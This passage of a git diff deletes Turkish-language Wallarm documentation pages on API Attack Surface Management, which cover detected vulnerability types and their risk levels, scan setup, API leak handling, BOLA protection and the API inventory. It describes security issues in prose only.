etkin öncelik verilmesini sağlar. -* Bulunan sızıntılar ve tespit edilen güvenlik açıkları hakkında sizi [bildirimlerle](setup.md#notifications) bilgilendirir. - -## Tespit edilen güvenlik açığı türleri - -API Attack Surface Management şunları tespit eder: - -* GraphQL yanlış yapılandırmaları -* Bilgi ifşaları (hata ayıklama verileri, yapılandırma dosyaları, günlükler, kaynak kodu, yedekler) -* Hassas API'lerin ifşası (örn. Prometheus metrikleri, durum sayfaları, sistem/hata ayıklama verisi ifşa eden API'ler) -* En yaygın Path traversal, SQLi, SSRF, XSS vb. vakaları -* Uzaktan yönetim arayüzlerinin ifşası (API Gateway'in yönetim arayüzleri dahil) -* Veritabanı yönetim arayüzlerinin ifşası -* SSL/TLS yanlış yapılandırmaları -* API spesifikasyonunun ifşası -* API Anahtarları, PII (kullanıcı adları ve parolalar), yetkilendirme belirteçleri (Bearer/JWT) ve daha fazlasını içeren API sızıntıları -* Güncel olmayan yazılım sürümleri ve bunlara karşılık gelen CVE'ler -* ~2k en popüler web ve API ile ilgili CVE - -Açıklamalarla birlikte tam listeyi [burada](security-issues.md#list-of-detected-issues) görebilirsiniz. - -## Etkinleştirme ve kurulum - -API Attack Surface Management'i kullanmaya başlamak için, API [Attack Surface Management Kurulumu](setup.md) bölümünde açıklandığı şekilde etkinleştirin ve yapılandırın. \ No newline at end of file diff --git a/docs/latest-tr/api-attack-surface/security-issues.md b/docs/latest-tr/api-attack-surface/security-issues.md deleted file mode 100644 index 58e31092a1..0000000000 --- a/docs/latest-tr/api-attack-surface/security-issues.md +++ /dev/null @@ -1,153 +0,0 @@ -[link-aasm-security-issue-risk-level]: #issue-risk-level -[link-integrations-intro]: ../user-guides/settings/integrations/integrations-intro.md -[link-integrations-email]: ../user-guides/settings/integrations/email.md#setting-up-integration - -# Güvenlik Sorunlarını Tespit Etme - -[API Attack Surface Discovery](api-surface.md), [seçili alan adlarınızın](setup.md) harici hostlarını bulduğunda, Wallarm bu hostlarda herhangi bir güvenlik sorunu olup olmadığını kontrol eder. Bulunduğunda, sorunlar **Security Issues** bölümünde listelenir ve açıklanır. Bu makale sunulan bilgilerin nasıl kullanılacağını açıklar. - -## Güvenlik sorunlarını inceleme - -Harici hostlarınız için bulunan güvenlik sorunlarını incelemek için, Wallarm Console içinde AASM'in **Security Issues** bölümüne gidin. - -![Security Issues](../images/api-attack-surface/security-issues.png) - -Burada, bulunan sorunlara ilişkin ayrıntılı bilgiler sunulur, bunlar şunları içerir: - -* Her bir sorun için kısa ve [ayrıntılı açıklama](#issue-details-and-lifecycle) içeren, filtrelenebilir tam sorun listesi -* En savunmasız hostların listesi -* Türlere göre güvenlik sorunlarının dağılımı -* [Risk seviyesi](#issue-risk-level) değerlendirmesi ve sorunların bu seviyelere göre dağılımı -* Son 6 ay için tespit edilen ve çözülen sorunlara ilişkin aylık geçmiş bilgileri - -## Tespit edilen sorunların listesi - -Wallarm aşağıdaki güvenlik sorunlarını otomatik olarak tespit eder: - -| Tür | Açıklama | -| ------- | ------- | -| Management interface | Uzak yönetim arayüzü veya yönetim paneli İnternet üzerinden herkese açık olarak erişilebilir, bu da sistemi potansiyel saldırılara maruz bırakır. Kötü niyetli kişiler, parola tahmin saldırıları, kimlik bilgisi doldurma veya hizmette bilinen güvenlik açıklarından yararlanarak yetkisiz erişim elde etmek için bunu kötüye kullanabilir. | -| Authentication bypass | Kimlik doğrulama atlatma zafiyeti, bir saldırganın kimlik doğrulama mekanizmasını atlayarak korunmakta olan kaynaklara yetkisiz erişim kazanmasına olanak tanır. Bu güvenlik açığı, hassas verilere yetkisiz erişime, ayrıcalık yükseltmeye veya sistemin tamamen ele geçirilmesine yol açabilir. | -| BOLA | Saldırganlar, istekle gönderilen bir nesnenin kimliğini manipüle ederek bozuk nesne düzeyi yetkilendirmeye (broken object-level authorization) karşı savunmasız API uç noktalarından yararlanabilir. Bu, hassas verilere yetkisiz erişime yol açabilir. [ayrıntılar](../attacks-vulns-list.md#broken-object-level-authorization-bola) | -| File read | Uygulamada, bir saldırganın sunucudaki dosyaları uygun yetkilendirme olmadan okumasına izin veren keyfi dosya okuma zafiyeti bulunmaktadır. Bu güvenlik açığı, yapılandırma dosyaları, kaynak kodu veya kullanıcı verileri dahil olmak üzere hassas bilgilere yetkisiz erişime yol açarak tüm sistemin güvenliğini tehlikeye atabilir. | -| File upload | Keyfi dosya yükleme zafiyeti, kötü niyetli bir kullanıcının amaçlanan kısıtlamaları atlayarak potansiyel olarak zararlı dosyaları bir sunucuya yüklemesine izin verir. Bu güvenlik açığı, web shell'ler aracılığıyla uzaktan komut yürütmeye, kritik sistem dosyalarının üzerine yazılmasına, kötü amaçlı yazılım dağıtımına veya hatta sunucunun tamamen ele geçirilmesine yol açabilir. | -| Information exposure | Bu zafiyet, bir uygulama tarafından hassas bilgilerin yetkisiz şekilde ifşa edilmesini içerir ve saldırganlara daha sonraki kötü amaçlı faaliyetler için hassas veriler sağlayabilir. [ayrıntılar](../attacks-vulns-list.md#information-exposure) | -| LFI | Yerel dosya dahil etme (LFI) zafiyeti, yetersiz girdi doğrulaması nedeniyle bir saldırganın bir uygulama içindeki dosya yollarını manipüle etmesine olanak tanır. Bu güvenlik açığı, hassas sistem dosyalarına yetkisiz erişime, kod yürütmeye ve genellikle daha ciddi sömürülerin basamağı olarak tüm sistemin ele geçirilmesine yol açabilir. | -| Misconfiguration | Güvenlik yanlış yapılandırmaları; etkin hata ayıklama modu, hata mesajlarında aşırı bilgi, TLS/SSL yanlış yapılandırması ve eksik veya yanlış ayarlanmış CORS ilkesi gibi hatalı yapılandırılmış sistemlerden kaynaklanan zafiyetleri içerir. | -| Missing authentication | Hassas uygulama veya API uç noktası, uygun kimlik doğrulama mekanizmaları olmadan erişilebilir durumdadır. Bu zafiyet, hassas verilere yetkisiz erişim ve manipülasyona yol açarak veri ihlallerine, hizmet kesintilerine veya tüm sistem bütünlüğünün tehlikeye girmesine neden olabilir. | -| RCE | Uzaktan kod yürütme (Remote code execution) - bu zafiyet, kullanıcı girdisinin hatalı doğrulanması ve ayrıştırılması nedeniyle ortaya çıkar. Bir saldırgan, bir API isteğine kötü amaçlı kod enjekte edebilir ve bu kod yürütülür. Ayrıca saldırgan, savunmasız uygulamanın çalıştığı işletim sistemi için belirli komutları yürütmeyi deneyebilir. [ayrıntılar](../attacks-vulns-list.md#remote-code-execution-rce) | -| Open redirect | Açık yönlendirme zafiyeti, kullanıcı kontrollü girdinin yönlendirme için harici bir siteye bağlantı belirtmesine izin verir. Saldırganlar bunu kullanıcıları kimlik avı saldırılarına veya diğer güvenlik risklerine yol açabilecek kötü amaçlı web sitelerine yönlendirmek için kullanabilir. | -| Sensitive API exposure | Uygun güvenlik önlemleri veya yanlış yapılandırma nedeniyle bir API uç noktası, dokümantasyonu veya işlevselliği istemeden ifşa edilir veya yetkisiz kullanıcılar tarafından erişilebilir hale gelir. Bu ifşa, daha hedefli saldırılara, hassas verilere yetkisiz erişime veya sistemin yapısı hakkında saldırganlara değerli bilgiler sağlayarak sistem zafiyetlerinin sömürülmesine yol açabilir. | -| SQLi | SQL enjeksiyonu - bu saldırıya karşı savunmasızlık, kullanıcı girdisinin yetersiz filtrelenmesi nedeniyle ortaya çıkar. SQL enjeksiyon saldırısı, SQL veritabanına özel hazırlanmış bir sorgu enjekte edilerek gerçekleştirilir. [ayrıntılar](../attacks-vulns-list.md#sql-injection) | -| SSRF | Sunucu taraflı istek sahteciliği (Server‑side request forgery) - başarılı bir SSRF saldırısı, saldırgana saldırıya uğrayan web sunucusu adına istekler yapma olanağı tanıyabilir; bu, kullanımda olan ağ portlarının ortaya çıkmasına, dahili ağların taranmasına ve yetkilendirmenin atlanmasına yol açabilir. [ayrıntılar](../attacks-vulns-list.md#serverside-request-forgery-ssrf) | -| Subdomain takeover | Bir alt alan adı, var olmayan kaynaklara işaret ettiğinden potansiyel el geçirmeye karşı savunmasızdır. Bu zafiyet, saldırganların bu alt alan adlarını talep edip kontrol etmelerine olanak tanır; bu da kimlik avı saldırılarına, veri hırsızlığına veya asıl alan adı sahibinin itibarına zarar verilmesine yol açabilir. | -| User enumeration | Bir zafiyet, sistem yanıtları aracılığıyla kullanıcı hesaplarının veya hassas verilerin yetkisiz numaralandırılmasına izin verir. Bu zayıflık, yetkisiz erişime, hedefli saldırılara veya daha ileri sistem sömürüleri için bir başlangıç noktası olarak kullanılabilir. | -| Vulnerable component | Bilinen zafiyetler içeren eski yazılım bileşenlerinin kullanılması, potansiyel saldırganların bilinen zafiyetlerden yararlanmasına izin verdiği için risk teşkil eder. Ayrıca bu durum, kuruluş içinde yetersiz yama yönetimi süreçlerine işaret eder. | -| XSS | Siteler arası betik çalıştırma (Cross‑site scripting) - siteler arası betik çalıştırma saldırısı, bir saldırganın bir kullanıcının tarayıcısında hazırlanmış keyfi bir kod yürütmesine izin verir. [ayrıntılar](../attacks-vulns-list.md#crosssite-scripting-xss) | -| XXE | XML harici varlık saldırısı - bu zafiyet, bir saldırganın bir XML belgesine harici bir varlık enjekte etmesine, bunun bir XML ayrıştırıcısı tarafından değerlendirilmesine ve ardından hedef web sunucusunda yürütülmesine izin verir. [ayrıntılar](../attacks-vulns-list.md#attack-on-xml-external-entity-xxe) | -| API leak | Sızdırılmış bir API anahtarı, saldırganların yetkili kullanıcıları taklit etmesine, gizli finansal verilere erişmesine ve hatta işlem akışlarını manipüle etmesine olanak tanıyabilir. [ayrıntılar](#api-leaks) | -| Vulnerable software | Zafiyetli yazılım sürümleri, sistemlere yetkisiz erişim, verilerin çalınması, kötü amaçlı yazılım bulaşması veya operasyonların kesintiye uğraması gibi önemli riskler taşır. Saldırganlar, eski yazılımlardaki bilinen zafiyetleri aktif olarak aradıkları için sömürü riski yüksektir. | - -## Sorun ayrıntıları ve yaşam döngüsü - -Wallarm, neler olup bittiğinin ve neler yapılabileceğinin net şekilde anlaşılmasını sağlamak için tespit edilen her güvenlik sorunu hakkında ayrıntılı bilgiler sunar. - -### Sorun ayrıntıları - -Listeden soruna tıklayarak aşağıdakiler gibi ayrıntılarını açın: - -* Temel bilgiler (tür, ana makine ve URL, ilk ve son görülme zamanı) -* Ayrıntılı **Description** -* **Mitigation** için önlemler -* **Additional information** olarak riske göre sıralanmış bağlı CVE'ler hakkında bilgiler - -![Güvenlik sorunları ayrıntıları - Details](../images/api-attack-surface/security-issue-details.png) - -### Sorunun yaşam döngüsü - -Bir güvenlik sorunu tespit edildiğinde, onu azaltmak için bazı önlemler alınması gerektiği anlamına gelen **Open** durumunu alır. Sorun ayrıntılarında, sorunu kapatabilir (çözüldüğü anlamına gelir) veya false olarak işaretleyebilirsiniz. - -Her durum değişikliğine yorum eklemek yararlıdır; bu, diğerlerine değişikliğin nedenine ilişkin tam bir görünüm sağlar. Değişikliğin yazarı ve zamanı otomatik olarak izlenir. - -Güvenlik sorunları, aşağıdaki durumlarda bir sonraki [otomatik](setup.md#auto-rescan) veya [manuel](setup.md#manual-rescan) taramadan sonra Wallarm tarafından otomatik olarak kapatılabilir: - -* Son taramada port bulunamadı -* Ağ hizmeti değişti -* Ürünün yeni sürümü tespit edildi -* Zafiyetli sürüm artık mevcut değil -* Son taramada zafiyet tespit edilmedi - -Sorunlar bir sonraki taramadan sonra otomatik olarak veya manuel olarak yeniden açılabilir. false olarak işaretlenmiş sorunların hiçbir zaman otomatik olarak yeniden açılmadığını unutmayın. - -![Güvenlik sorunları - yaşam döngüsü diyagramı](../images/api-attack-surface/security-issue-lifecycle.png) - -### Risk seviyesini değiştirme - -Sorunun [risk seviyesini](#issue-risk-level) yeniden değerlendirirseniz, ayrıntılarına gidin ve listeden yeni risk seviyesini seçin. - -### Yorum ekleme - -Durum değişikliklerine (kapama, yeniden açma) yorum eklemek her zaman yararlı olsa da, başka hiçbir şeyi değiştirmeden istediğiniz anda soruna yorum ekleyebilirsiniz. Bunu yapmak için **Add comment** düğmesini kullanın: yorumunuz **Status history**'nin bir parçası olur. - -### Durum geçmişi - -Takipte olmanız için, değişikliklerin ve yorumların tam geçmişi güvenlik sorununun **Status history** bölümünde görüntülenir. - -![Güvenlik sorunları - yaşam döngüsü diyagramı](../images/api-attack-surface/aasm-sec-issue-history.png) - -## Sorun risk seviyesi - -Keşfedilen her güvenlik sorunu, tabloda açıklandığı şekilde yarattığı risk düzeyine göre otomatik olarak değerlendirilir. - -| Risk | Açıklama | Örnekler | -| ----- | ----- | ----- | -| **Critical** | Zafiyetin varlığı, bir saldırganın uzaktan kod yürütmesine veya hizmet reddi (DoS) ya da hizmet kalitesi düşüşüne neden olarak sistemin ele geçirilmesine yol açabilir. Derhal müdahale gereklidir. |
              • Uzaktan kod yürütme
              • İhlal göstergesi (ör. herkese açık erişilebilir web shell)
              | -| **High** | Zafiyetin varlığı, veritabanı erişimi veya dosya sistemine sınırlı erişim gibi kısmi sistem ele geçirilmesine yol açabilir. Belirli koşullarda (ör. özel gereksinimler karşılanırsa veya diğer zafiyetlerle zincirlendiğinde) zafiyet sistemin ele geçirilmesine (ör. uzaktan kod yürütme) yol açabilir. |
              • Yol dolaşımı (Path traversal)
              • XML harici varlık (XXE) enjeksiyonu
              • Kritik ve yüksek riskli CVE'ler içeren zafiyetli yazılım sürümü*
              | -| **Medium** | Zafiyet, güvenlik kontrollerinin atlanmasına, sınırlı ifşa veya erişime neden olabilir ancak tam ele geçirmeye yol açmaz. Hassas verilere veya yapılandırmalara erişim sağlayabilir ve daha karmaşık bir saldırı zincirinde kaldıraç olarak kullanılabilir. |
              • Siteler arası betik çalıştırma (XSS)
              • GraphQL yanlış yapılandırmaları
              • Yapılandırma dosyalarının ifşası
              • Uzun ömürlü kimlik bilgilerine ilişkin API sızıntısı (parolalar, API anahtarları)
              • Yüksek riskli CVE'ler içeren zafiyetli yazılım sürümü*
              | -| **Low** | Zafiyetin etkisi en az düzeydedir ve gereksinimler/koşullar çok karmaşık olduğundan doğrudan önemli hasara veya sömürüye yol açmaz. Ancak diğer zafiyetlerle birleştirilerek bir saldırının tırmandırılmasında kullanılabilir. |
              • TLS/SSL yanlış yapılandırmaları
              • Kısa ömürlü kimlik doğrulama belirteçlerine ilişkin API sızıntısı (ör. JWT belirteçleri)
              | -| **Info** | Sorun, acil bir güvenlik riski oluşturmaz ancak potansiyel manuel doğrulama için yine de gözden geçirilmelidir. Genellikle kritik olmayan verilerin ifşasını veya en iyi uygulamaların ihlalini içerir. |
              • OpenAPI şemasının ifşası
              • E-posta adresleri veya kullanıcı adları gibi kişisel olarak tanımlanabilir bilgilerin (PII) sızması
              | - -* Yazılım sürümü, kritik olanlar da dahil olmak üzere birden fazla CVE içeriyorsa, genel risk seviyesi yüksek olarak değerlendirilir. Zafiyetli bir sürümün varlığı, zafiyetin fiilen mevcut olduğunu açıkça göstermediğinden risk seviyesi bir kademe düşürülür. Örneğin, zafiyet yalnızca belirli, varsayılan olmayan bir yapılandırmada ortaya çıkabilir veya belirli koşulların sağlanmasını gerektirebilir. - -Risk seviyesini istediğiniz anda yeniden değerlendirebilir ve manuel olarak ayarlayabilirsiniz. - -## Güvenlik sorunu raporları - -**Download report** düğmesini kullanarak, tüm veya filtrelenmiş güvenlik sorunları için CSV veya JSON formatında rapor alabilirsiniz. - -![Güvenlik sorunları ayrıntıları - Lifecycle controls](../images/api-attack-surface/security-issues-report.png) - -Seçtiğiniz güvenlik sorunları bilgileri ayrıca API saldırı yüzeyinizle ilgili [ayrıntılı DOCX rapora](api-surface.md#api-attack-surface-reports) da dahil edilir. - -## Bildirimler - ---8<-- "../include/api-attack-surface/aasm-notifications.md" - -## API sızıntıları - -Diğer güvenlik sorunları türleri arasında, Wallarm API kimlik bilgilerinin (API leaks) kamuya açık şekilde ifşa edilmesi durumlarını da tespit eder. Sızdırılmış API anahtarları, saldırganların yetkili kullanıcıları taklit etmesine, gizli finansal verilere erişmesine ve hatta işlem akışlarını manipüle etmesine olanak tanır. - -Wallarm, API sızıntısı güvenlik sorunlarını aşağıdaki iki aşamalı yöntemle arar: - -1. **Pasif tarama**: bu alan adlarıyla ilgili yayımlanmış (sızdırılmış) veriler için kamuya açık kaynakları kontrol eder. -1. **Aktif tarama**: listelenen alan adlarında alt alan adlarını otomatik olarak arar. Ardından - kimliği doğrulanmamış bir kullanıcı olarak - uç noktalarına istekler gönderir ve yanıtlarda ve sayfaların kaynak kodunda hassas verilerin varlığını kontrol eder. Şu veriler aranır: kimlik bilgileri, API anahtarları, istemci sırları, yetkilendirme belirteçleri, e-posta adresleri, genel ve özel API şemaları (API spesifikasyonları). - -Bulunan sızıntılarla ne yapılacağına ilişkin kararları yönetebilirsiniz: - -* Dağıtılmış Wallarm [node(s)](../user-guides/nodes/nodes.md) varsa, sızdırılmış API kimlik bilgilerinin kullanılmasına yönelik tüm girişimleri engellemek için bir virtual patch uygulayın. - - Bir [sanal yama kuralı](../user-guides/rules/vpatch-rule.md) oluşturulacaktır. - - Bir virtual patch oluşturmanın yalnızca sızdırılmış gizli değerin 6 veya daha fazla karakter olması ya da düzenli ifadenin 4096 karakteri geçmemesi durumunda mümkün olduğunu unutmayın - bu koşullar karşılanmazsa `Not applicable` iyileştirme durumu görüntülenecektir. Bu sınırlamalar, yasal trafiğin engellenmesini önlemeyi amaçlar. - -* Hatalı eklendiğini düşünüyorsanız sızıntıyı false olarak işaretleyin. -* Sorunun çözüldüğünü belirtmek için sızıntıları kapatın. -* Bir sızıntı kapatılsa bile silinmez. Sorunun hala geçerli olduğunu belirtmek için yeniden açın. - -**Sanal yamalar tarafından engellenen isteklerin görüntülenmesi** - -[Virtual patch](../user-guides/rules/vpatch-rule.md) ile engellenen istekleri, Wallarm Console → **Attacks** içinde **Type** filtresini `Virtual patch` (`vpatch`) olarak ayarlayarak görüntüleyebilirsiniz. - -![Olaylar - Security Issues (API leaks) vpatch aracılığıyla](../images/api-attack-surface/api-leaks-in-events.png) - -Bu filtrenin, **Security Issues** işlevselliğinin neden olduğu virtual patch olaylarının yanı sıra farklı amaçlarla oluşturulmuş diğer tüm virtual patch'leri de listeleyeceğini unutmayın. \ No newline at end of file diff --git a/docs/latest-tr/api-attack-surface/setup.md b/docs/latest-tr/api-attack-surface/setup.md deleted file mode 100644 index b6e61d421d..0000000000 --- a/docs/latest-tr/api-attack-surface/setup.md +++ /dev/null @@ -1,137 +0,0 @@ -[link-aasm-security-issue-risk-level]: security-issues.md#issue-risk-level -[link-integrations-intro]: ../user-guides/settings/integrations/integrations-intro.md -[link-integrations-email]: ../user-guides/settings/integrations/email.md#setting-up-integration - -# API Attack Surface Management Kurulumu - -Bu makale, harici host’larınızı ve onların API’lerini keşfetmek, eksik WAF/WAAP çözümlerini belirlemek ve API Leaks ile diğer güvenlik açıklarını azaltmak için [API Attack Surface Management](overview.md) özelliğinin nasıl etkinleştirileceğini ve yapılandırılacağını açıklar. - -## Etkinleştirme - -AASM kullanmak için şirketinizin Wallarm [API Attack Surface](../about-wallarm/subscription-plans.md#api-attack-surface) abonelik planının aktif olması gerekir. Etkinleştirmek için aşağıdakilerden birini yapın: - -* Henüz Wallarm hesabınız yoksa, fiyatlandırma bilgilerini alın ve AASM’yi Wallarm’ın resmi sitesinden [buradan](https://www.wallarm.com/product/aasm) etkinleştirin. - - Bu işlem Core (freemium) sürümünü etkinleştirir ve kullanılan e-posta alan adının taraması hemen başlar. Etkinleştirmeden sonra kapsamınıza [ek alan adları ekleyebilirsiniz](setup.md). - - Enterprise özelliklerine ihtiyacınız olmadığı sürece Core sürümünü istediğiniz kadar kullanmaya devam edebilirsiniz. Farklı sürümler arasındaki farkları [buradan](https://www.wallarm.com/product/aasm-pricing) inceleyin. - -* Zaten bir Wallarm hesabınız varsa, [sales@wallarm.com](mailto:sales@wallarm.com) adresiyle iletişime geçin. - -## Alan adları ve hostlar - -### Kapsama ekleme - -Seçtiğiniz alan adları altındaki host’ları tespit etmek ve bu host’larla ilgili güvenlik sorunlarını aramak için [API Attack Surface Management](overview.md) yapılandırmasını yapın: - -1. Wallarm Console içinde **AASM** → **API Attack Surface** → **Configure** → **Domains and hosts** yolunu izleyin. -1. Alan adlarınızı kapsama ekleyin ve tarama durumunu kontrol edin. - - Yeni eklenen her alan adı için, Wallarm [**Scan configuration**](#scan-configuration) bölümünde seçilen verileri taramaya derhal başlar. Gerekirse devam eden taramayı durdurabilirsiniz, bu işlem tüm sonuçları silecektir. - -1. Eklenen alan adları için host’lar otomatik olarak tespit edilir. Gerekirse daha fazla host’u manuel olarak ekleyebilirsiniz: **Add host**’a tıklayın ve host’ları virgül, noktalı virgül, boşluk veya yeni satır ile ayırarak yapıştırın. -1. Bulunan ve eklenen host’lara ilişkin ayrıntıları görmek için alan adına tıklayın. - - ![AASM - kapsamı yapılandırma](../images/api-attack-surface/aasm-scope.png) - -### Kapsamdan silme - -Alan adlarını kapsamdan silebilirsiniz. Silme işleminde, bu alan adı için daha önce tespit edilen ve manuel olarak eklenen tüm host’lar listeden kaldırılacaktır: - -1. **Domains and hosts** sekmesinde, onay kutularıyla alan ad(lar)ını seçin ve **Delete**’e tıklayın. -1. Bu alan adları için bulunmuş güvenlik sorunları olabileceğinden, bunlarla ne yapılacağına karar vermeniz gerekir. Seçenekler: - - * Keep related security issues - * Close related security issues - * Mark false related security issues - * Delete related security issues - -## Scan configuration - -Alan adlarınızla ilgili hangi verilerin [API Attack Surface Management](overview.md) tarafından aranacağını ve görüntüleneceğini seçebilirsiniz. - -### Genel yapılandırma - -Kolaylık sağlaması için Wallarm, tarama yapılandırması için önceden tanımlanmış profil setleri sunar. İçeriklerini anlamak için profiller arasında geçiş yapmayı deneyin. - -![AASM - tarama yapılandırması](../images/api-attack-surface/aasm-scan-configuration.png) - -Profil açıklamaları (kısa): - -| Profil | Açıklama | -| --- | --- | -| **Full** | Tüm türlerde ağ servislerini arayan, WAAP kapsamını tamamen kontrol eden, API sızıntılarını tüm olası yollarla arayan ve tüm güvenlik açığı tespit modülleri etkin olan en kapsamlı tarama. | -| **Fast** | Dış API keşfini hariç tutarak saldırı yüzeyi ve temel sorunlar için hızlı tarama, API sızıntısı aramasında herkese açık HTML/JS içeriğini hariç tutar ve güvenlik açığı tespit modüllerini sınırlar. | -| **Vulnerabilities & API leaks** | Yalnızca güvenlik sorunlarını tespit etmeye yönelik tarama. | -| **Attack surface inventory** | Güvenlik sorunlarını aramadan saldırı yüzeyini hızlıca belirler ve haritalar. | -| **API leaks - passive** | Altyapınızla etkileşim olmadan yalnızca API sızıntılarını arar. | -| **Custom** | Başka bir profile herhangi bir ayarlama yaptığınızda etkinleşir. | - -Tarama seçeneklerini yapılandırmak için: - -1. Wallarm Console içinde **AASM** → **API Attack Surface** → **Configure** → **Scan configuration** yolunu izleyin. -1. Uygun profili seçin. -1. Gerekirse profil seçeneklerini manuel olarak ayarlayın. Bazı seçeneklerin belirli profillerden çıkarılamayacağını unutmayın. - - !!! warning "Düzenlerken değişikliklerinizi kaybetmeyin" - Seçeneklerde yaptığınız değişikliklerin, standart profillerden birine tekrar tıklarsanız kaybolacağını unutmayın. - -### Subdomain discovery - -Bazı durumlarda subdomain discovery’yi devre dışı bırakmak (ör. `example.com` taransın ama `app1.example.com` taranmasın) en uygun seçenek olabilir: - -* Alt alan adının sahibi siz değilsiniz (bir iştirak veya şube şirketine ait olabilir) -* Tüm alt alan adları wildcard’dır (rastgele isimli herhangi bir alt alan adı mevcut), sonsuz sayıda alt alan adı -* Tarama performansını ayrıca optimize etmek istiyorsunuz - -Yapılandırmanızda subdomain discovery etkin olduğunda (**Scan configuration** → **Scanning profile** → **Network service discovery** → **Subdomain discovery**), bu seçeneği alan adı bazında ayarlayabilirsiniz. Bunu yapmak için: - -1. **Domains and hosts** sekmesine gidin. -1. Alan adlarınız için **With subdomains** seçeneğini kapatın/açın. - - Global seçeneğin öncelikli olduğunu unutmayın - devre dışı bırakıldığında hiçbir yerde alt alan adları aranmaz. Global olarak etkinleştirildiğinde, alan adı bazındaki seçenekler istisna tanımlamaya olanak tanır. - -## Auto rescan - -Auto rescan etkinleştirildiğinde, daha önce eklenen alan adları 7 günde bir otomatik olarak yeniden taranır - yeni host’lar otomatik olarak eklenir, önce listelenmiş olup yeniden taramada bulunamayanlar listede kalır. - -Auto rescan’ı yapılandırmak için: - -1. Wallarm Console içinde **AASM** → **API Attack Surface** → **Configure** → **Scan configuration** yolunu izleyin ve **Auto rescan** seçeneğini etkinleştirin. -1. **Domains and hosts** sekmesinde, otomatik yeniden taramaya dahil edilecek veya dışlanacak alan adlarını seçin. - - Global seçeneğin öncelikli olduğunu unutmayın - devre dışı bırakıldığında hiçbir şey otomatik olarak yeniden taranmaz. Alan adı bazındaki seçenekler bazı alan adlarını auto rescan’dan hariç tutmanıza olanak tanır. - -![AASM - otomatik yeniden taramayı yapılandırma](../images/api-attack-surface/aasm-auto-rescan.png) - -## Manuel yeniden tarama - -**AASM** → **API Attack Surface** → **Configure** → **Domains and hosts** içinde **Scan now** düğmesine tıklayarak herhangi bir alan adı için taramayı manuel olarak başlatabilirsiniz. - -Gerekirse devam eden taramayı durdurabilirsiniz, bu işlem tüm sonuçları silecektir. - -## Engellenmenin önlenmesi - -Wallarm’a ek olarak, trafiği otomatik olarak filtrelemek ve engellemek için ek olanaklar (yazılım veya donanım) kullanıyorsanız, API Attack Surface Management için IP adreslerini içeren bir [allowlist yapılandırmanız](../admin-en/scanner-addresses.md) önerilir. - -Bu, API Attack Surface Management dahil olmak üzere Wallarm bileşenlerinin kaynaklarınızı güvenlik açıkları için sorunsuz bir şekilde taramasını sağlar. - -## Tarama durumu - -Alan adlarınızın kapsama ne zaman eklendiği ve en son ne zaman tarandığına ilişkin kısa bilgiler **AASM** → **API Attack Surface** → **Configure** → **Domains and hosts** içinde sunulur. - -![AASM - kapsam alan adlarının yapılandırılması](../images/api-attack-surface/aasm-scope.png) - -Yapılandırma iletişim kutusundan ana **API Attack Surface** ekranına geri dönün, burada **Host scanning status** özetini görebilir, ardından tüm taramaların ayrıntılı geçmişini görmek için **Scanning status** sekmesine geçebilirsiniz. Bu geçmiş şunları içerir: - -* Hangi alan adının tarandığı (**Target**). -* Taramanın nasıl başlatıldığı - manuel veya otomatik (**Start-up option**). -* Bu tarama sırasında bulunan host sayısı ve yeni host sayısı. -* Bu tarama sırasında bulunan güvenlik sorunlarının toplamı ve yeni güvenlik sorunlarının sayısı. -* Tarama durumu, başlangıç ve bitiş tarih/saatleri. - -![AASM - ayrıntılı tarama durumu](../images/api-attack-surface/aasm-scanning-status.png) - -## Bildirimler - ---8<-- "../include/api-attack-surface/aasm-notifications.md" \ No newline at end of file diff --git a/docs/latest-tr/api-discovery/bola-protection.md b/docs/latest-tr/api-discovery/bola-protection.md deleted file mode 100644 index a6d223b2eb..0000000000 --- a/docs/latest-tr/api-discovery/bola-protection.md +++ /dev/null @@ -1,15 +0,0 @@ -# BOLA Saldırılarına Karşı Otomatik Koruma - -[Kırık Nesne Düzeyi Yetkilendirme (BOLA)](../attacks-vulns-list.md#broken-object-level-authorization-bola) gibi davranışsal saldırılar, aynı adlı zafiyetten yararlanır. Bu zafiyet, bir saldırganın bir API isteği aracılığıyla bir nesneye tanımlayıcısıyla erişmesine ve yetkilendirme mekanizmasını atlayarak verilerini okumasına veya değiştirmesine olanak tanır. - -BOLA saldırılarının potansiyel hedefleri, değişkenliğe sahip uç noktalardır. Wallarm, [API Discovery](overview.md) modülünün keşfettiği uç noktalar arasında bu tür uç noktaları otomatik olarak bulup koruyabilir. - -Otomatik BOLA korumasını etkinleştirmek için, Wallarm Console → [**BOLA protection**](../admin-en/configuration-guides/protecting-against-bola.md) bölümüne gidin ve anahtarı etkin duruma getirin: - -![BOLA tetikleyicisi](../images/user-guides/bola-protection/trigger-enabled-state.png) - -Her korunan API uç noktası, API envanterinde ilgili simgeyle vurgulanacaktır, örn.: - -![BOLA tetikleyicisi](../images/about-wallarm-waf/api-discovery/endpoints-protected-against-bola.png) - -API uç noktalarını BOLA otomatik koruma durumuna göre filtreleyebilirsiniz. İlgili parametre **Others** filtresi altında mevcuttur. \ No newline at end of file diff --git a/docs/latest-tr/api-discovery/dashboard.md b/docs/latest-tr/api-discovery/dashboard.md deleted file mode 100644 index 2c21c79665..0000000000 --- a/docs/latest-tr/api-discovery/dashboard.md +++ /dev/null @@ -1,10 +0,0 @@ -[apid-overview]: overview.md -[apid-risk-score]: risk-score.md -[apid-track-changes]: track-changes.md -[apid-rogue]: rogue-api.md -[check-attack]: ../user-guides/events/check-attack.md -[img-api-discovery-widget]: ../images/user-guides/dashboard/api-discovery-widget.png - -# API Keşfi Panosu - ---8<-- "../include/api-discovery/dashboard.md" \ No newline at end of file diff --git a/docs/latest-tr/api-discovery/exploring.md b/docs/latest-tr/api-discovery/exploring.md deleted file mode 100644 index 5d5708806d..0000000000 --- a/docs/latest-tr/api-discovery/exploring.md +++ /dev/null @@ -1,144 +0,0 @@ -# API Envanterini Keşfetme - -[API Discovery](overview.md) modülü uç noktalarınızın kataloğunu (API envanterinizi) oluşturur oluşturmaz, Wallarm Console içindeki **API Discovery** bölümünde onu keşfedebilirsiniz. Bu makaleden, keşfedilen verileri nasıl inceleyeceğinizi öğrenin. - -## Uç noktalar - -Keşfedilmiş API envanterinizi [US](https://us1.my.wallarm.com/api-discovery) veya [EU](https://my.wallarm.com/api-discovery) Cloud içindeki **API Discovery** bölümünü kullanarak keşfedin. - -![API Discovery tarafından keşfedilen uç noktalar](../images/about-wallarm-waf/api-discovery/discovered-api-endpoints.png) - -**API Discovery** bölümünü her açtığınızda, son bir haftaya ait tüm keşfedilen uç noktaları ve bunların [değişikliklerini](track-changes.md) görürsünüz. **Changes since** filtresiyle `Last week` seçimini başka bir dönemle değiştirebilirsiniz. - -Varsayılan 